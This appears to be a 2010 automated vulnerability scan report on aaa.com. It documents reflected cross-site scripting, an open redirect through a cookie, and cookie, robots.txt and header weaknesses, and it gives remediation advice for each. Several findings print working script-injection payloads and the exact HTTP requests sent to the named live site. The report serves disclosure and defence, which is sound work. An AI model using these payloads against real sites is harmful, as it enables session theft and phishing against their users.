Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the f854b"><script>alert(1)</script>22355780b2b request parameter is copied into the HTML document as plain text between tags. The payload e4ffc<script>alert(1)</script>7d588a28ef0 was submitted in the f854b"><script>alert(1)</script>22355780b2b parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 Apple Date: Tue, 09 Nov 2010 17:17:29 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P set-cookie: AAASITEKEY=ww1; version="1"; path=/ content-length: 491
The value of the f854b"><script>alert(1)</script><h1>HOYT.LLC.XSS.PROOF.OF.CONCEPT.11.08.2010</H1> request parameter is copied into the HTML document as plain text between tags. The payload 5afe7<script>alert(1)</script>549a5bc5bf3 was submitted in the f854b"><script>alert(1)</script><h1>HOYT.LLC.XSS.PROOF.OF.CONCEPT.11.08.2010</H1> parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 Apple Date: Tue, 09 Nov 2010 17:17:59 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P content-length: 563
The value of the f854b"><script>alert(1)</script><h1>HOYT.LLC.XSS.PROOF.OF.CONCEPT.11.08.2010</H1><a%20href request parameter is copied into the name of an HTML tag. The payload 9c10a><script>alert(1)</script>17f39dd9c48 was submitted in the f854b"><script>alert(1)</script><h1>HOYT.LLC.XSS.PROOF.OF.CONCEPT.11.08.2010</H1><a%20href parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 Apple Date: Tue, 09 Nov 2010 17:20:24 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P content-length: 585
The value of the f854b"><script>alert(1)</script><h1>HOYT.LLC.XSS.PROOF.OF.CONCEPT.11.08.2010</H1><a%20href request parameter is copied into the HTML document as plain text between tags. The payload c2c02<script>alert(1)</script>aeb2ba5ddb8 was submitted in the f854b"><script>alert(1)</script><h1>HOYT.LLC.XSS.PROOF.OF.CONCEPT.11.08.2010</H1><a%20href parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 Apple Date: Tue, 09 Nov 2010 17:20:26 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P content-length: 771
The value of the f854b%22%3E%3Cscript%3Ealert(1)%3C/script%3E22355780b2b request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 909c9"><script>alert(1)</script>bb01da8df40 was submitted in the f854b%22%3E%3Cscript%3Ealert(1)%3C/script%3E22355780b2b parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 Apple Date: Tue, 09 Nov 2010 17:18:25 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P set-cookie: AAASITEKEY=ww1; version="1"; path=/ content-length: 519
1.6. http://www.aaa.com/scripts/WebObjects.dll/AAAOnline [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.aaa.com
Path:
/scripts/WebObjects.dll/AAAOnline
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f854b"><script>alert(1)</script>22355780b2b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /scripts/WebObjects.dll/AAAOnline?f854b"><script>alert(1)</script>22355780b2b=1 HTTP/1.1 Host: www.aaa.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CT_KWD=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; zipcode=77002|AAA|252; CT_UID=1289321916550.5823; CT_AD=; CT_CrtDate=11/9/2010%2010%3A58%3A36; s_pers=%20s_nr%3D1289321926955%7C1291913926955%3B; surveypermcookie=surveypermcookie.invited=YES; CT_Type=1; CT_MATCH=; CT_REF=http%3A//www.aaa.com/scripts/WebObjects.dll/ZipCode.woa/wa/route; CT_CID=DIRECT; CT_ADGROUP=; surveysessioncookie=surveysessioncookie.showsurvey=NO; CT_ENTRYURL=http%3A//www.texas.aaa.com/en-tx/Pages/Home.aspx%3Fzip%3D77002%26stateprov%3Dtx%26city%3Dhouston;
Response
HTTP/1.1 200 Apple Connection: close Date: Tue, 09 Nov 2010 17:11:59 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P set-cookie: AAASITEKEY=ww1; version="1"; path=/ content-length: 409
The value of the AAASITEKEY cookie is used to perform a redirect using a META HTTP-EQUIV tag. The payload .adc5c358ab8fef7d8/ was submitted in the AAASITEKEY cookie. This caused a redirection to the following URL:
The application attempts to prevent redirection attacks by prepending an absolute prefix to the user-supplied URL. However, this prefix does not include a trailing slash, so an attacker can add an additional domain name to point to a domain which they control.
Because the data used in the redirection is submitted within a cookie, the application's behaviour is unlikely to be directly useful in lending credibility to a phishing attack. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
When prepending an absolute prefix to the user-supplied URL, the application should ensure that the prefixed domain name is followed by a slash.
Issue background
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application which causes a redirection to an arbitrary external domain. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targetting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.
Remediation background
If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behaviour can be avoided in two ways:
Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.
If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:
The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with http://yourdomainname.com/ before issuing the redirect.
HTTP/1.1 200 Apple Date: Tue, 09 Nov 2010 17:20:58 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P content-length: 441
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
Request
GET /scripts/WebObjects.dll/ZipCode.woa/wa/route HTTP/1.1 Host: www.aaa.com Proxy-Connection: keep-alive Referer: http://www.bing.com/search?q=american+auto+assoc&go=&form=QBLH&qs=n&sk=&sc=2-19 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 Apple Date: Tue, 09 Nov 2010 16:59:04 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P content-type: text/html set-cookie: zipcode=77002|AAA|252; version="1"; expires=Wed, 09-Nov-2011 16:59:05 GMT; path=/; domain=aaa.com set-cookie: zipcode=77002|AAA|252; version="1"; expires=Wed, 09-Nov-2011 16:59:05 GMT; path=/; domain=aaa.com content-length: 1232
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /scripts/WebObjects.dll/ZipCode.woa/wa/route HTTP/1.1 Host: www.aaa.com Proxy-Connection: keep-alive Referer: http://www.bing.com/search?q=american+auto+assoc&go=&form=QBLH&qs=n&sk=&sc=2-19 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 Apple Date: Tue, 09 Nov 2010 16:59:04 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P content-type: text/html set-cookie: zipcode=77002|AAA|252; version="1"; expires=Wed, 09-Nov-2011 16:59:05 GMT; path=/; domain=aaa.com set-cookie: zipcode=77002|AAA|252; version="1"; expires=Wed, 09-Nov-2011 16:59:05 GMT; path=/; domain=aaa.com content-length: 1232
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: www.aaa.com
Response
HTTP/1.1 200 OK Content-Length: 431 Content-Type: text/plain Last-Modified: Wed, 17 Feb 2010 09:05:50 GMT Accept-Ranges: bytes ETag: "30dcb366b0afca1:28145" Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P Date: Tue, 09 Nov 2010 17:09:27 GMT Connection: close
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
Request
GET /scripts/WebObjects.dll/ZipCode.woa/wa/route HTTP/1.1 Host: www.aaa.com Proxy-Connection: keep-alive Referer: http://www.bing.com/search?q=american+auto+assoc&go=&form=QBLH&qs=n&sk=&sc=2-19 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 Apple Date: Tue, 09 Nov 2010 16:59:04 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P content-type: text/html set-cookie: zipcode=77002|AAA|252; version="1"; expires=Wed, 09-Nov-2011 16:59:05 GMT; path=/; domain=aaa.com set-cookie: zipcode=77002|AAA|252; version="1"; expires=Wed, 09-Nov-2011 16:59:05 GMT; path=/; domain=aaa.com content-length: 1232
If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /scripts/WebObjects.dll/AAAOnline HTTP/1.1 Host: www.aaa.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CT_KWD=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; zipcode=77002|AAA|252; CT_UID=1289321916550.5823; CT_AD=; CT_CrtDate=11/9/2010%2010%3A58%3A36; s_pers=%20s_nr%3D1289321926955%7C1291913926955%3B; surveypermcookie=surveypermcookie.invited=YES; CT_Type=1; CT_MATCH=; CT_REF=http%3A//www.aaa.com/scripts/WebObjects.dll/ZipCode.woa/wa/route; CT_CID=DIRECT; CT_ADGROUP=; surveysessioncookie=surveysessioncookie.showsurvey=NO; CT_ENTRYURL=http%3A//www.texas.aaa.com/en-tx/Pages/Home.aspx%3Fzip%3D77002%26stateprov%3Dtx%26city%3Dhouston;
Response
HTTP/1.1 200 Apple Connection: close Date: Tue, 09 Nov 2010 17:09:26 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONi OUR NOR IND PHY ONL UNI PUR COM NAV INT DEM STA P set-cookie: AAASITEKEY=ww1; version="1"; path=/ content-length: 317
<HTML><HEAD><META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"><META HTTP-EQUIV="REFRESH" CONTENT="0;URL=http://ww1.aaa.com/scripts/WebObjects.dll/AAAOnline"><TITLE>www.aaa.com site redirect</TITLE></HEAD>< ...[SNIP]...
Report generated by XSS.CX at Tue Nov 09 12:46:05 CST 2010.